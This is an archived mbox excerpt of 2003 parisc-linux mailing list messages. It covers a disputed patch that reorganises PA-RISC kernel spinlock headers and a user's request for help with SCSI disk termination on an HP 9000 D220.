>> #include <asm/system.h>
> 
> 
> Joel,
> This is wrong - atomic.h uses CONFIG_SMP and thus is
> required to include config.h.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock 2.4 re-organise a la 2.6 [was: [RFC]
 rewrite kernel spinlock code to work better with gcc]
Date: Sun, 30 Nov 2003 16:31:49 +0000
Lines: 334
Approved: news@gmane.org
Message-ID: <3FCA1B75.9020600@tiscali.be>
References: <20031126070714.GN975@tausq.org> <3FC93D47.5020501@tiscali.be> <20031130033705.GA24965@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------050202040002070308050009"
X-Trace: ger.gmane.org 1416623008 2469 80.91.229.3 (22 Nov 2014 02:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:28 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 30 09:31:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 041B54841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 09:31:49 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQUU6-0000d4-6J; Sun, 30 Nov 2003 17:31:46 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031130033705.GA24965@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20249

This is a multi-part message in MIME format.
--------------050202040002070308050009
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit



Grant Grundler wrote:
> On Sun, Nov 30, 2003 at 12:43:51AM +0000, Joel Soete wrote:
> ...
> 
>>+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h	2003-11-30 01:23:57.000000000 +0100
>>@@ -1,7 +1,6 @@
>> #ifndef _ASM_PARISC_ATOMIC_H_
>> #define _ASM_PARISC_ATOMIC_H_
>> 
>>-#include <linux/config.h>
>> #include <asm/system.h>
> 
> 
> Joel,
> This is wrong - atomic.h uses CONFIG_SMP and thus is
> required to include config.h.
> 
No, i think it is right but I forgot to embrace spinlock_t declaration 
with "#ifdef CONFIG_SMP ...#endif" in system.h. Done in the new attched 
patch (tested and run fine on c100 (32bit up) with kernel up and smp)
My bad in previous test: forgot make distclean ; make mrproper (to be sure).

Still have to test in 64bit up (no means to test in smp neither 32 or 64 
bit :( ).

If you find some interest can you ci (I would like to test Randolph 
patch on n4k just to be sure).

Thanks for help,
	Joel

--------------050202040002070308050009
Content-Type: text/plain;
 name="spinlock-parisc.bp2.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="spinlock-parisc.bp2.diff"

diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/atomic.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/atomic.h	2003-11-29 14:11:51.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/atomic.h	2003-11-30 17:13:58.000000000 +0100
@@ -1,7 +1,6 @@
 #ifndef _ASM_PARISC_ATOMIC_H_
 #define _ASM_PARISC_ATOMIC_H_
 
-#include <linux/config.h>
 #include <asm/system.h>
 
 /* Copyright (C) 2000 Philipp Rumpf <prumpf@tux.org>.  */
@@ -14,7 +13,6 @@
  * have to write any serious assembly.   prumpf
  */
 #ifdef CONFIG_SMP
-#include <asm/spinlock_t.h>
 
 /* Use an array of spinlocks for our atomic_ts.
 ** Hash function to index into a different SPINLOCK.
@@ -193,4 +191,4 @@
 #define smp_mb__before_atomic_inc()	smp_mb()
 #define smp_mb__after_atomic_inc()	smp_mb()
 
-#endif
+#endif /* _ASM_PARISC_ATOMIC_H_ */
diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/processor.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/processor.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/processor.h	2003-11-30 02:11:17.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/processor.h	2003-11-30 02:12:04.000000000 +0100
@@ -18,9 +18,6 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/system.h>
-#ifdef CONFIG_SMP
-#include <asm/spinlock_t.h>
-#endif
 #endif /* __ASSEMBLY__ */
 
 /*
diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock.h	2003-11-29 14:10:38.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock.h	2003-11-30 01:21:40.000000000 +0100
@@ -1,9 +1,55 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
 
-#include <asm/spinlock_t.h>		/* get spinlock primitives */
-#include <asm/psw.h>			/* local_* primitives need PSW_I */
-#include <asm/system_irqsave.h>		/* get local_* primitives */
+#include <asm/system.h>
+
+#ifndef CONFIG_DEBUG_SPINLOCK
+#define SPIN_LOCK_UNLOCKED_INIT { 1 }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
+
+/* Define 6 spinlock primitives that don't depend on anything else. */
+
+#define spin_lock_init(x)       do { (x)->lock = 1; } while(0)
+#define spin_is_locked(x)       ((x)->lock == 0)
+#define spin_trylock(x)		(__ldcw(&(x)->lock) != 0)
+ 
+/* 
+ * PA2.0 is not strongly ordered.  PA1.X is strongly ordered.
+ * ldcw enforces ordering and we need to make sure ordering is
+ * enforced on the unlock too.
+ * "stw,ma" with Zero index is an alias for "stw,o".
+ * But PA 1.x can assemble the "stw,ma" while it doesn't know about "stw,o".
+ * And PA 2.0 will generate the right insn using either form.
+ * Thanks to John David Anglin for this cute trick.
+ *
+ * Writing this with asm also ensures that the unlock doesn't
+ * get reordered
+ */
+#define spin_unlock(x) \
+	__asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (&(x)->lock) : "memory" )
+
+#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
+
+#define spin_lock(x) do { \
+	while (__ldcw (&(x)->lock) == 0) \
+		while ((x)->lock == 0) ; \
+} while (0)
+
+#else /* ! CONFIG_DEBUG_SPINLOCK */
+
+#define SPIN_LOCK_UNLOCKED_INIT { 1, 0L, 0L }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
+
+/* Define 6 spinlock primitives that don't depend on anything else. */
+
+#define spin_lock_init(x)       do { (x)->lock = 1; (x)->owner_cpu = 0; (x)->owner_pc = 0; } while(0)
+#define spin_is_locked(x)       ((x)->lock == 0)
+void spin_lock(spinlock_t *lock);
+int spin_trylock(spinlock_t *lock);
+void spin_unlock(spinlock_t *lock);
+#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
+
+#endif /* ! CONFIG_DEBUG_SPINLOCK */
 
 /*
  * Read-write spinlocks, allowing multiple readers
diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock_t.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock_t.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock_t.h	2003-11-29 16:13:04.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock_t.h	1970-01-01 01:00:00.000000000 +0100
@@ -1,97 +0,0 @@
-#ifndef __PARISC_SPINLOCK_T_H
-#define __PARISC_SPINLOCK_T_H
-
-/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.
- *
- * Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
- * since it only has load-and-zero.
- */
-#ifdef CONFIG_PA20
-/* 
-> From: "Jim Hull" <jim.hull of hp.com>
-> Delivery-date: Wed, 29 Jan 2003 13:57:05 -0500
-> I've attached a summary of the change, but basically, for PA 2.0, as
-> long as the ",CO" (coherent operation) completer is specified, then the
-> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
-> they only require "natural" alignment (4-byte for ldcw, 8-byte for
-> ldcd).
-*/
-
-#define __ldcw(a) ({ \
-	unsigned __ret; \
-	__asm__ __volatile__("ldcw,co 0(%1),%0" : "=r" (__ret) : "r" (a)); \
-	__ret; \
-})
-#else
-#define __ldcw(a) ({ \
-	unsigned __ret; \
-	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
-	__ret; \
-})
-#endif
-
-/*
- * Your basic SMP spinlocks, allowing only a single CPU anywhere
- */
-
-typedef struct {
-#ifdef CONFIG_PA20
-	volatile unsigned int lock;
-#else
-	volatile unsigned int __attribute__((aligned(16))) lock;
-#endif
-#ifdef CONFIG_DEBUG_SPINLOCK
-	volatile unsigned long owner_pc;
-	volatile unsigned long owner_cpu;
-#endif
-} spinlock_t;
-
-#ifndef CONFIG_DEBUG_SPINLOCK
-#define SPIN_LOCK_UNLOCKED_INIT { 1 }
-#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
-
-/* Define 6 spinlock primitives that don't depend on anything else. */
-
-#define spin_lock_init(x)       do { (x)->lock = 1; } while(0)
-#define spin_is_locked(x)       ((x)->lock == 0)
-#define spin_trylock(x)		(__ldcw(&(x)->lock) != 0)
- 
-/* 
- * PA2.0 is not strongly ordered.  PA1.X is strongly ordered.
- * ldcw enforces ordering and we need to make sure ordering is
- * enforced on the unlock too.
- * "stw,ma" with Zero index is an alias for "stw,o".
- * But PA 1.x can assemble the "stw,ma" while it doesn't know about "stw,o".
- * And PA 2.0 will generate the right insn using either form.
- * Thanks to John David Anglin for this cute trick.
- *
- * Writing this with asm also ensures that the unlock doesn't
- * get reordered
- */
-#define spin_unlock(x) \
-	__asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (&(x)->lock) : "memory" )
-
-#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
-
-#define spin_lock(x) do { \
-	while (__ldcw (&(x)->lock) == 0) \
-		while ((x)->lock == 0) ; \
-} while (0)
-
-#else
-
-#define SPIN_LOCK_UNLOCKED_INIT { 1, 0L, 0L }
-#define SPIN_LOCK_UNLOCKED (spinlock_t) SPIN_LOCK_UNLOCKED_INIT
-
-/* Define 6 spinlock primitives that don't depend on anything else. */
-
-#define spin_lock_init(x)       do { (x)->lock = 1; (x)->owner_cpu = 0; (x)->owner_pc = 0; } while(0)
-#define spin_is_locked(x)       ((x)->lock == 0)
-void spin_lock(spinlock_t *lock);
-int spin_trylock(spinlock_t *lock);
-void spin_unlock(spinlock_t *lock);
-#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
-
-#endif
-
-#endif /* __PARISC_SPINLOCK_T_H */
diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/system.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/system.h
--- linux-2.4.23-rc5-pa17/include/asm-parisc/system.h	2003-11-29 14:11:16.000000000 +0100
+++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/system.h	2003-11-30 17:12:37.000000000 +0100
@@ -5,10 +5,6 @@
 #include <asm/psw.h>
 #include <asm/system_irqsave.h>
 
-#ifdef CONFIG_SMP
-#include <asm/spinlock_t.h>
-#endif
-
 /* The program status word as bitfields.  */
 struct pa_psw {
 	unsigned int y:1;
@@ -69,7 +65,7 @@
 #define save_and_cli(x) do { save_flags(x); cli(); } while(0);
 #define save_and_sti(x) do { save_flags(x); sti(); } while(0);
 
-#else
+#else /* CONFIG_SMP */
 
 #define cli() __cli()
 #define sti() __sti()
@@ -78,7 +74,7 @@
 #define save_and_cli(x) __save_and_cli(x)
 #define save_and_sti(x) __save_and_sti(x)
 
-#endif
+#endif /* CONFIG_SMP */
 
 
 #define mfctl(reg)	({		\
@@ -147,4 +143,51 @@
 
 #define set_mb(var, value) do { var = value; mb(); } while (0)
 
+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.
+ *
+ * Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
+ * since it only has load-and-zero.
+ */
+#ifdef CONFIG_PA20
+/* 
+> From: "Jim Hull" <jim.hull of hp.com>
+> Delivery-date: Wed, 29 Jan 2003 13:57:05 -0500
+> I've attached a summary of the change, but basically, for PA 2.0, as
+> long as the ",CO" (coherent operation) completer is specified, then the
+> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
+> they only require "natural" alignment (4-byte for ldcw, 8-byte for
+> ldcd).
+*/
+
+#define __ldcw(a) ({ \
+	unsigned __ret; \
+	__asm__ __volatile__("ldcw,co 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__ret; \
+})
+#else /* CONFIG_PA20 */
+#define __ldcw(a) ({ \
+	unsigned __ret; \
+	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__ret; \
+})
+#endif /* CONFIG_PA20 */
+
+#ifdef CONFIG_SMP
+/*
+ * Your basic SMP spinlocks, allowing only a single CPU anywhere
+ */
+
+typedef struct {
+#ifdef CONFIG_PA20
+	volatile unsigned int lock;
+#else
+	volatile unsigned int __attribute__((aligned(16))) lock;
 #endif
+#ifdef CONFIG_DEBUG_SPINLOCK
+	volatile unsigned long owner_pc;
+	volatile unsigned long owner_cpu;
+#endif
+} spinlock_t;
+#endif /* CONFIG_SMP */
+
+#endif /* __PARISC_SYSTEM_H */

--------------050202040002070308050009--



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philos666@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (sans sujet)
Date: Sun, 30 Nov 2003 13:04:11 EST
Lines: 33
Approved: news@gmane.org
Message-ID: <186.2281e885.2cfb8b1b@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_186.2281e885.2cfb8b1b_boundary"
X-Trace: ger.gmane.org 1416623008 2471 80.91.229.3 (22 Nov 2014 02:23:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 30 11:04:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-m06.mx.aol.com (imo-m06.mx.aol.com [64.12.136.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 935784841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 11:04:17 -0700 (MST)
Original-Received: from Philos666@aol.com
	by imo-m06.mx.aol.com (mail_out_v36_r1.1.) id n.186.2281e885 (3956)
	 for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 13:04:12 -0500 (EST)
X-Mailer: 8.0 for Windows sub 6108
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20250

--part1_186.2281e885.2cfb8b1b_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

need help for replace the hotplug disk by hdd u-wide but the system detect a 
fatal error with and without terminaison

please help me

philos

hp 9000 D220 132 Mhz



--part1_186.2281e885.2cfb8b1b_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"1">need help for replace the hotplug disk by hdd u-wide b=
ut the system detect a fatal error with and without terminaison<BR>
<BR>
please help me<BR>
<BR>
philos<BR>
<BR>
hp 9000 D220 132 Mhz<BR>
<BR>
<BR>
</FONT></HTML>
--part1_186.2281e885.2cfb8b1b_boundary--


From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (sans sujet)
Date: Sun, 30 Nov 2003 18:35:29 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3FCA3871.4070700@tiscali.be>
References: <186.2281e885.2cfb8b1b@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623009 2474 80.91.229.3 (22 Nov 2014 02:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Philos666@aol.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 30 11:35:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE2324841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 11:35:26 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQWPm-0007CR-05; Sun, 30 Nov 2003 19:35:26 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <186.2281e885.2cfb8b1b@aol.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20251

Hi Philos,

Please read first <http://parisc-linux.org/faq/kernelbug-howto.html>

Philos666@aol.com wrote:
> need help for replace the hotplug disk by hdd u-wide but the system detect a 
> fatal error with and without terminaison
> 
In the mean time, could you try to test your new disk on your d220 with 
hp diagtools (available on support+ cd)?

Could you also post your last dmesg file (to get more details on your 
scsi controler) (iirc d220 could be supplied with different scsi 
controler and would it support new u-wide disk?)

hth,
	Joel

> please help me
> 
> philos
> 
> hp 9000 D220 132 Mhz
> 
> 
> 



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (sans sujet)
Date: Sun, 30 Nov 2003 19:27:02 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <3FCA4486.7050205@tiscali.be>
References: <1d9.15768dd0.2cfb9389@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623009 2477 80.91.229.3 (22 Nov 2014 02:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:29 +0000 (UTC)
To: Philos666@aol.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 30 12:27:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26C2F4841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 12:27:00 -0700 (MST)
Original-Received: from [62.235.120.178] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AQXDf-0001Jx-Ca; Sun, 30 Nov 2003 20:26:59 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <1d9.15768dd0.2cfb9389@aol.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20252


Philos666@aol.com wrote:
> what channel irc on what server ?
Sorry could help for such ( my bad I never get enough time to find one)
> i haven't the HP CD diagnotic
> i not known if it have a different terminaison for the u-wide hhd ans fast 
> wide hhd ?

Yes, I think you point out the pb. iirc there are a big difference 
between uw and fw terminator (defferent impedence). But I don't remember 
how is it possible (that is why I put back ml in cc) to use fw and uw 
disk on a same bus (ie connected to the same controler) (iirc i read a 
thread on this ml about the subject but I have to look for).
mm (alone on a fw controler), i think that it is possible to configure 
(with a jumper) some disk model as 'self terminated'.

I hope some better than I in scsi field could help you more ;)

Joel



From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock 2.4 re-organise a la 2.6 [was: [RFC] rewrite kernel spinlock code to work better with gcc]
Date: Sun, 30 Nov 2003 14:10:14 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20031130211014.GA5208@colo.lackof.org>
References: <20031126070714.GN975@tausq.org> <3FC93D47.5020501@tiscali.be> <20031130033705.GA24965@colo.lackof.org> <3FCA1B75.9020600@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623009 2490 80.91.229.3 (22 Nov 2014 02:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 30 14:10:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9890E4841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Nov 2003 14:10:16 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CE49D29803F; Sun, 30 Nov 2003 14:10:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04435-10; Sun, 30 Nov 2003 14:10:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0282E298038; Sun, 30 Nov 2003 14:10:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FCA1B75.9020600@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20253

On Sun, Nov 30, 2003 at 04:31:49PM +0000, Joel Soete wrote:
> No, i think it is right but I forgot to embrace spinlock_t declaration 
> with "#ifdef CONFIG_SMP ...#endif" in system.h. Done in the new attched 
> patch (tested and run fine on c100 (32bit up) with kernel up and smp)
> My bad in previous test: forgot make distclean ; make mrproper (to be sure).

Use of "make distclean" means you don't have the dependencies correct.
ie whereever "ifdef CONFIG_*" is used, linux/config.h needs to be included.

> If you find some interest can you ci (I would like to test Randolph 
> patch on n4k just to be sure).

I don't. I have a basic problem with this patch.

...
> -#include <asm/spinlock_t.h>
...
> diff -Naur linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock_t.h linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock_t.h
> --- linux-2.4.23-rc5-pa17/include/asm-parisc/spinlock_t.h	2003-11-29 16:13:04.000000000 +0100
> +++ linux-2.4.23-rc5-pa17-bp/include/asm-parisc/spinlock_t.h	1970-01-01 01:00:00.000000000 +0100
> @@ -1,97 +0,0 @@
> -#ifndef __PARISC_SPINLOCK_T_H
> -#define __PARISC_SPINLOCK_T_H
...

Why delete spinlock_t.h?

I added spinlock_t.h to resolve the circular inter-dependency between
asm/system.h, asm/bitops.h, and asm/spinlock.h.  spinlock_t.h depends
on nothing and defines spinlock primitives used by the others.

grant


From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
